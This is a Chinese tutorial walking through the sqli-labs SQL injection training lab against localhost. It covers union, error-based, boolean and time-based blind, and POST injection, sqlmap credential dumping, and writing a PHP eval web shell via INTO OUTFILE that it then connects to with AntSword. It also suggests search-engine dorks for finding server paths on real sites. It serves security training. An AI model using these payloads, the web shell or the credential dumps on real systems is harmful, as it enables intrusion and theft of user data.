sqli-labs靶场实战

sqli-labs靶场实战

(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:查询字段数
第三步:判断回显位
第四步:查询数据库的基本信息
第五步:爆数据库名
第六步:爆数据库表名
第七步:爆字段名
第八步:爆数据

page-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

简介:(单引号+字符型注入)
请求方式:GET
方法:错误注入

第一步:注入点测试

测试闭合符号
尝试注入id=1’,在后面加上了’,发现报错了,说明带入数据库中处理了,且闭合符合为’
可能存在注入点(使用可能闭合的符号进行测试)
在这里插入图片描述

回显报错了,但是这个报错的内容也是很有用的,提示在注入的值附近有语法错误,进一步分析可以得到的是,我们输入的单引号一定是成对输入的,且是在数值的同一侧,否则就是注入后会自动添加 ',导致在实际的sql语句中出现引号没有闭上的问题,从而报错。

验证注入点
输入id=1 进行查询,回显了id为1的用户信息,说明存在注入
**加粗样式**

判断注入类型
方法1:
闭合前面单引号,注释掉后面引号,通过and连接1=1 和 1=2来判断是否为字符型注入

http://localhost/sqli-labs-master/Less-1/?id=1'  and 1=1 --+
http://localhost/sqli-labs-master/Less-1/?id=1'  and 1=2 --+

方法2:
1、单引号成对出现在数值左边,那么传进去的值就是空的:''1 ,回显是为空的
在这里插入图片描述
在这里插入图片描述

2、单引号是在数值的右边,那么传入的就是数值:1’’ ,回显就是id=1对应的数据
在这里插入图片描述

通过观察页面的报错提示可以发现,我们输入的值其实是由两个单引号包裹的,初步判断注入类型为 字符型注入。

第二步:查询字段数

http://localhost/sqli-labs-master/Less-1/?id=1’ order by 3 --+
3的时候正常回显,3以下就都能回显,所以应该往上猜
在这里插入图片描述

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

4的时候报错了,说明字段的个数是3
在这里插入图片描述

在这里插入图片描述

第三步:判断回显位

使用联合查询union,将id赋值为假(例如:id=-1)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

数据没有查到,回显2,3,说明第2,3个位置可以回显查询数据
在这里插入图片描述

第四步:查询数据库基本信息

在第2,3列输入需要查询的命令

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user() --+

数据回显
在这里插入图片描述

第五步:爆数据库名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

第六步:爆数据库表名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

后面的表名’security’也可以直接用database() ,是一样的效果

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第七步:爆字段名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述

第八步:爆数据

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users where id=2 --+

在这里插入图片描述

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

在这里插入图片描述
在这里插入图片描述
Less-1 和 Less-2除了注入类型不同,其它注入思路跟Less-1完全一样。

Less-3 GET - Error based-Single quotes with twist-String(基于错误的GET单引号变形字符型注入)

第一步:注入点测试

注入id=1’

http://localhost/sqli-labs-master/Less-3/?id=1'

在这里插入图片描述

根据错误提示,我们可以很容易分析到这里的sql查询语句为:

SELECT * FROM users WHERE id=('1'')

这明显就是错误的,所以需要在1后面的第一引号处,加入)–+进行闭合

http://localhost/sqli-labs-master/Less-3/?id=1') --+

在这里插入图片描述

成功获得了正确的回显信息。

第二步:查询字段数

http://localhost/sqli-labs-master/Less-3/?id=1')  order by 3 --+

依次输入1、2、3、4,到4就报错了,说明只有3个字段

第三步:判断回显位

http://localhost/sqli-labs-master/Less-3/?id=1') and 0 union select 1,2,3 --+

回显位是2、3位

第四步:查询数据库基本信息

在第2、3列输入需要查询的命令

http://localhost/sqli-labs-master/Less-3/?id=-1')  union select 1,database(),user() --+

数据回显

第五步:爆数据库名

http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+

第六步:爆数据库表名

http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第七步:爆字段名

http://localhost/sqli-labs-master/Less-3/?id=-1')  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

第八步:爆数据

http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,username,password from users where id=2 --+

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

在这里插入图片描述
在这里插入图片描述
考虑将双引号完成闭合即可:

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,2,3 --+

其余的注入流程跟Less-3完全相同

Less-5 GET - Double Injection-Single Quotes-String(双注入GET单引号字符型注入)

概念
双注入简单理解为一个select查询里嵌套一个select查询,如果要利用双注入,就需要人为构造特定的能够造成报错的查询,从而在报错信息里返回我们需要的数据。
需要用到的函数和语句有:

  • 1.concat() 作用为连接括号里的参数。例concat(1,~,2) 结果为 1-2
  • 2.floor() 作用为对括号里的非整数进行取整 如1.9取为1,2.1取为2
  • 3.count() 作用为针对查询结果条数进行计数
  • 4.rand() 作用为生成0-1范围内的随机数 (1.括号内如果填写一个固定参数,则每次生成的随机数固定;2.使用* 运算符,可以使取值范围扩大,如 rand()*2 的取值范围为0-2)
  • 5.group by [key]对查询结果进行分组,针对每一个key 列出一条结果。
  • 6.group by [key]和 conut(*)联用,作用为列出所有可能的key和key的查询结果条数。

错误类型:Duplicate entry
这种错误一般发生于数据库对某一个字段有UNIQUE限制的情况下,例如某员工信息表里对身份证号字段设置的UNIQUE限制,即不能出现重复的身份证号,当我们插入一条新员工信息时,输入表中已存在的身份证号时就会报Duplicate entry错误,即重复录入。

第一步:注入点测试

注入id=1

http://localhost/sqli-labs-master/Less-5/?id=1

在这里插入图片描述

且正确的回显只有这么一种回显,根本没有办法得到什么有效的信息
注入id=1’

http://localhost/sqli-labs-master/Less-5/?id=1'

在这里插入图片描述
访问报错了,但是查看报错的原因,明显跟单引号的闭合问题有关
且正确的回显只有这么一种回显,所以我们可以从利用报错的信息进行注入

第二步:查询字段数

一般有报错回显的页面都可以利用order by来爆出字段数

http://localhost/sqli-labs-master/Less-5/?id=1' order by 3 --+

在这里插入图片描述

http://localhost/sqli-labs-master/Less-5/?id=1' order by 4 --+

在这里插入图片描述

可以得到当前的数据表共有3个字段。

第三步:判断回显位

根据第二步可以判断回显位是报错信息

第四步:爆数据库用户

http://localhost/sqli-labs-master/Less-5/
?id=-1' union select 1,count(*),concat((select user()),floor(rand()*9)) as a from information_schema.tables group by a --+

在这里插入图片描述

第五步:爆数据库名

http://localhost/sqli-labs-master/Less-5/
?id=1' union select 1,count(*),concat((select database()),floor(rand()*9)) as a from information_schema.tables group by a --+

在这里插入图片描述

第六步:爆数据库表名

http://localhost/sqli-labs-master/Less-5/
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9)) as a from information_schema.tables group by a --+

在这里插入图片描述

如果想知道还有其他什么表,直接遍历即可:limit1,1

第七步:爆字段名

http://localhost/sqli-labs-master/Less-5/
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),'~',floor(rand()*9)) as a from information_schema.tables group by a --+

在这里插入图片描述

如果想知道还有其他什么列,直接遍历即可:limit1,1

第八步:爆数据

http://localhost/sqli-labs-master/Less-5/
?id=-1' union select count(*),1, concat('~',(select concat_ws(': ',username,password) from users limit 1,1),'~',floor(rand()*9)) as a from information_schema.tables group by a --+

在这里插入图片描述

sqlmap实战Less-5

┌──(root㉿kali)-[~]
└─# sqlmap -u “http://192.168.233.1/sqli-labs-master/Less-5/?id=‘’”
在这里插入图片描述

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

SQLMap采用了以下5种独特的SQL注入技术。
• 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
• 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
• 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
• 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。

SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。
sqlmap常用命令参数:

-u “url” #检测注入点
–dbs #列出所有数据库的名称
–current-db #列出当前数据库的名称
-D #指定一个数据库
–tables #列出所有表名
-T #指定表名
–columns #列出所有字段名
-C #指定字段
–dump #列出字段内容
–batch #不提示用户输入,直接采用默认行为(使用默认值)

爆数据库名

┌──(root㉿kali)-[~]
└─# sqlmap -u “http://192.168.233.1/sqli-labs-master/Less-5/?id=1” --dbs
在这里插入图片描述

爆指定数据库表名

┌──(root㉿kali)-[~]
└─# sqlmap -u “http://192.168.233.1/sqli-labs-master/Less-5/?id=1” -D security --tables
在这里插入图片描述

爆数据库表字段信息

┌──(root㉿kali)-[~]
└─# sqlmap -u “http://192.168.233.1/sqli-labs-master/Less-5/?id=1” -T users --columns
在这里插入图片描述

爆指定表数据

┌──(root㉿kali)-[~]
└─# sqlmap -u “http://192.168.233.1/sqli-labs-master/Less-5/?id=1” -D security -T users -C username,password -dump
在这里插入图片描述

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

在这里插入图片描述
在这里插入图片描述

只需要我们换成双引号即可,其它与Less-5相同。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

请求方法:GET
方法:数据库读写注入的木马,然后菜刀、蚁剑、冰蝎连接

第一步:注入点测试

加上双引号,没有报错

http://localhost/sqli-labs-master/Less-7/?id=1''

加上单引号,报错,说明是单引号闭合,且是字符型注入,没有的具体的报错回显,就不能使用报错注入。发现报错,猜测括号可能被注释了。

http://localhost/sqli-labs-master/Less-7/?id=1'

判断括号个数:加一个括号

http://localhost/sqli-labs-master/Less-7/?id=1')  --+

在这里插入图片描述

加2个括号,发现没有报错了,说明存在2个括号未被闭合

http://localhost/sqli-labs-master/Less-7/?id=1'))  --+

在这里插入图片描述

第二步:查询字段数

有2个的时候,报错

http://localhost/sqli-labs-master/Less-7/?id=-1 union select 1,2 --+

在这里插入图片描述

3个的时候没报错,所以有3个字段数

http://localhost/sqli-labs-master/Less-7/?id=-1')) union select 1,2,3 --+

在这里插入图片描述

第三步:爆破文件路径

方法一:单引号爆出路径(报错显示)
例如:https://xuewen.cnki.net/R2006110260000003.html’
在这里插入图片描述

方法二:通过搜索引擎获取(效率非常低)
百度inurl:huicewang.com warning
inurl:huicewang.com “error”(或者“fatal error”)
方法三:通过遗留的测试文件(扫描工具扫描)
/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/x.php
在这里插入图片描述

方法四:通过注入点来读取文件操作来读取搭建网站平台的配置文件来获取路径
方法五:通过burpsuite、sqlmap等扫描工具扫 描得到网站的map
方法六:漏洞报错,知道网站是用什么cms或者框架进行搭建的,用搜索引擎去找到对应的爆路径方式,比如phpcms 爆路径
方法七:爆破:无任何突破点,就可以运用一些常见固定的可能安装位置生成字典,对目标网站进行爆破

例如:
windows:d:/www/root/xxx/
linux:/var/www/xxx

第四步:读取文件/写入文件

能够读取/写入文件的前提:
有权限:当前用户有权限读取文件,数据库用户有FILE权限,File_priv为yes
服务器上:文件在服务器上(就是存在这个文件)
路径完整:读取文件的路径要是完整的
文件不超额:文件大小小于max_sllowed_packet
限制:secure_file_priv值为空(若值为某目录,只能对该目录的文件操作)
函数:Into Outfile(能写入多行,按格式输出)和into Dumpfile(只能写入一行且没有输出格式)
爆破文件路径后,可以使用文件读取,去读取重要的文件,将读取函数注入到正常的查询语句中
例如:union select 1,2,load_file(C:\boot.ini)

写入一句话木马,虽然还是报错,但是在目录下,是已经写入进去的

http://localhost/sqli-labs-master/Less-7/
?id=1')) union select 1,'<?php eval($_REQUEST[123]); ?>',3 into outfile 'C:/phpstudy_pro/WWW/sqli-labs-master/1.php' --+

在这里插入图片描述

在这里插入图片描述

第五步:使用菜刀、蚁剑、冰蝎等工具进行连接

蚁剑下载
链接:https://pan.baidu.com/s/1JFhDsrv_24l3otNrudFqmQ?pwd=hchc
在这里插入图片描述

蚁剑安装

分别下载以上两个文件进行解压,解压后打开AntSword-Loader-v4.0.3-win32-x64目录下的
AntSword.exe,如图
在这里插入图片描述

第一次打开,需要选择工作目录
在这里插入图片描述

将初始化选择源码包antSword目录,初始化后会自动重启,再次打开就能正常运行了
在这里插入图片描述

再次打开AntSword.exe,就能再次运行了。

蚁剑使用

第一步:在首页空白处右键---->添加数据
在这里插入图片描述

第二步:输入木马地址及密码,添加保存
在这里插入图片描述

这样就可以浏览项目目录了。

布尔盲注

布尔盲注用于页面没有回显的情况下,当我们注入的sql语句正确的时候页面会显示,当出现错误的时候页面是完全不显示的,这个时候也就是出现了两种不同的情况,我们便可以通过这两种情况去猜数据。

原理

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

判断

Bool盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2。

绕过

有时候我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如1352=1352等)。

相关函数

截取函数

在这里插入图片描述

mid(a,b,c)从位置b开始,截取a字符串的c位 regexp正则表达式的用法
ord() 函数返回字符串str的最左面字符的ASCII代码值

转换函数

在这里插入图片描述

比较函数

在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

第一步:注入点测试

判断数据类型
注入id=1

http://localhost/sqli-labs-master/Less-8/?id=1 and 1=1
http://localhost/sqli-labs-master/Less-8/?id=1 and 1=2

在这里插入图片描述

我们发现都是正常的,于是可以判断是字符型注入了
下一步开始判断闭合方式,输入单引号和双引号

http://localhost/sqli-labs-master/Less-8/?id=1'
http://localhost/sqli-labs-master/Less-8/?id=1' --+

加上单引号,无返回数据,且注释后,有返回数据,所以为单引号闭合,存在SQL注入点

第二步:查询字段数

http://localhost/sqli-labs-master/Less-8/?id=1' order by 4 --+

order by 4界面没有任何信息显示,说明字段个数是3个

第三步:爆数据库名长度

页面有数据返回

http://localhost/sqli-labs-master/Less-8/?id=1' and (length(database()))>7 --+

页面无结果返回

http://localhost/sqli-labs-master/Less-8/?id=1' and (length(database()))>8 --+

当前数据库名称长度为:8

第四步:爆数据库名(ASCII码)

页面有数据返回

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))>112 --+ 

页面有数据返回

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))<122 --+

二分法,一直从中间分下去,直到确定一个值对应的ascii码
通过这个方法判断出整个数据库名
在这里插入图片描述

第五步:爆表名

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<122 --+

采用二分法以此类推得到唯一的值
通过这个方法判断出整个表名

第六步:爆字段名

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50 --+

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))<80 --+

采用二分法以此类推得到唯一的值
通过这个方法判断出整个字段名

第七步:爆数据

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))<80 --+

页面有数据返回

http://localhost/sqli-labs-master/Less-8/
?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))>30 --+

采用二分法以此类推得到唯一的值,通过这个方法判断出整个数据

Python脚本实现布尔盲注实战

链接:https://pan.baidu.com/s/1JFhDsrv_24l3otNrudFqmQ?pwd=hchc

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

第一步:注入点测试

加上单引号、双引号闭合、数值型注入,都发现回显正常,无法判断是否存在注入点。
只能考虑使用延时函数:

http://localhost/sqli-labs-master/Less-9/?id=1' and sleep(5) --+

标签上面在转,说明函数执行了,即存在注入点
在这里插入图片描述

第二步:爆数据库名长度

监控发现耗时5s,说明判断正确

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())>7,sleep(5),1) --+

最后用 = 确定唯一长度

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

转5s,判断正确,长度为8

第三步:爆数据库名(ASCII码)

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+

二分法,一直从中间分下去,直到确定一个值对应的ascii码,通过这个方法判断出整个数据库名

第四步:爆表名长度

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<8,sleep(5),1) --+

采用二分法以此类推得到唯一的值,通过这个方法判断出表长

第五步:爆表名

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60,  sleep(5),1) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<200,  sleep(5),1) --+

采用二分法以此类推得到唯一的值,通过这个方法判断出整个表名

第六步:爆字段长度

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))<10,sleep(5),1) --+

采用二分法以此类推得到唯一的值,通过这个方法判断出字段长度

第七步:爆字段名

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<100,sleep(5),1) --+

采用二分法以此类推得到唯一的值,通过这个方法判断出整个字段名

第八步:爆数据

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0) --+

转了5s,说明if语句为真

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))<100, sleep(5),0) --+

采用二分法以此类推得到唯一的值,通过这个方法判断出整个数据

Less10 GET - Blind - Time Based - double Quotes (基于时间的双引号盲注)

除了双引号闭合,其它的和Less9基本一样

Less11 POST - Error based - Single Quotes String (基于错误的单引号注入)

请求方法:POST
方法:报错回显

第一步:判断注入点

输入了一个单引号显示错误,说明可能存在注入点,符号可能为单引号

第二步:分析注入方法

在第一个框输入admin’ and 1=1 #
字符型注入

第三步:常规获取数据步骤

猜显示位数,获取数据库,获取表名,获取列名,获取数据
①uname=admin’ and 1=2 union select 1,2 # &passwd=&Submit=Submit
②uname=admin’ and 1=2 union select 1,database() # &passwd=&Submit=Submit
③uname=admin’ and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # &passwd=&Submit=Submit
④uname=admin’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ # &passwd=&Submit=Submit
⑤uname=admin’ and 1=2 union select 1,group_concat(username,password) from users # &passwd=&Submit=Submit

SQL报错注入-可回显

介绍

SQL报错注入:利用数据库的某些报错返回机制,刻意的制造错误条件传到数据库,使得查询结果能够出现在错误返回提示信息中
需要有SQL报错信息回显,有显示位时,首先使用union联合查询语句,无显示位时,使用报错注入

相关函数

最常用的三种是:floor()、updatexml()以及extractvalue()

xpath语法错误

extractvalue()是查询、updatexml()是改变
extractvalue()
作用:对XML文档进行查询(类似在HTML文件中用标签查找元素)
语法:
extractvalue( XML_document, XPath_string )
参数1:XML_document(String格式),为XML文档对象的名称(输入错误的)
参数2:XPath_string(Xpath格式的字符串)(注入的地方)
利用:
extractvalue(1,(payload))
extractvalue(1,(concat(0x7e,(payload),0x7e)))
报错原理:格式报错
注:
在ASCII码表中,0x7e这个十六进制数代表符号这个符号在xpath语法中是不存在的,因此总能报错
updatexml()
作用:改变文档中符合条件节点的值
语法:
updatexml( XML_document, XPath_string, new_value )
参数1:XML_document(String格式),为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value(String格式),替换查找到的符合条件的数据
updatexml(1, payload,1)
报错原理:也是格式错误

Less13 POST - Double injection - Single Quotes String-with twist

第一步:注入点测试

加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的
可以考虑使用报错注入。发现还有括号 ') #后没有报错了
使用联合查询发现没有返回结果,所以这里考虑使用报错注入

第二步:查询字段数

admin’) order by 2 #
为2的时候没有报错
字段数为2

第三步:爆数据库

admin’) union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1) #
(这个地方字段数不对也能爆出来数据)

第四步:爆表名

admin’) union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,31),0x7e),1) #
(这里字段数不对,就不能爆出数据)

第五步:爆字段

admin’) and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),1,31),0x7e),1) #

第六步:爆数据

admin’) and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1 ) #

Less17 POST - Update Query -Error Based String

请求方法:POST
方法:update报错回显

第一步:注入点测试

在第一个输入框中,输入闭合都失败
在第二个密码输入框中,成功闭合了
在这里插入图片描述

第二步:分析过滤

 function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
 
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
//magic_quotes_gpc = On,magic_quotes_gpc 函数在 php 中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,避免数据库语句因为特殊字符引起的污染而出现致命的错误,单引号(’)双引号(”)反斜线(\)NULL(NULL 字符)(字符都会被加上反斜线)
            {
            $value = stripslashes($value);
//stripslashes() 删除由 addslashes() 函数添加的反斜杠
            }
 
        // Quote if not a number
        if (!ctype_digit($value))
//ctype_digit() 判断是不是数字,是数字就返回 true,否则返回 false
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
//mysql_real_escape_string() 转义 SQL 语句中使用的字符串中的特殊字符
            }
        
    else
        {
        $value = intval($value);
//intval() 整型转换
        }
    return $value;
    }

但是没有对密码进行限制,可以在password输入框中拼接到SQL语句
所以需要有对的用户名,然后密码后面的验证可以注释掉

第三步:暴数据库名

已经给出了用户名Dhakkan
aaaaaa’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

aaaaaa’ or updatexml(1,concat(0x7e,(database()),0x7e),0) or ’

第四步:爆表名

’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),0) or ’

第五步:爆字段

’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),0x7e),0) or ’

第六步:爆数据

’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),0) or ’
You can’t specify target table ‘users’ for update in FROM clause
(您无法指定目标表“用户”以获取从子句中的更新)
再嵌套一层试试
‘or updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1) test ),0x7e),1) or’
只需要修改limit函数的第一个参数就可以:limit 0,1

burp suite+sqlmap爆破实战

第一步:代理抓包

在这里插入图片描述
在这里插入图片描述

第二步:保存文件

将抓到的数据保存成huice.txt
在这里插入图片描述

第三步:爆破数据库

sqlmap -r ‘huice.txt’ --technique UE --dbms mysql --batch --dbs
sqlmap -r ‘huice.txt’ --technique UE --dbms mysql --batch -D security --tables
sqlmap -r ‘huice.txt’ --technique UE --dbms mysql --batch -D security -T users --columns
sqlmap -r ‘huice.txt’ --technique UE --dbms mysql --batch -D security -T users -C ‘username,password’ --dump

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值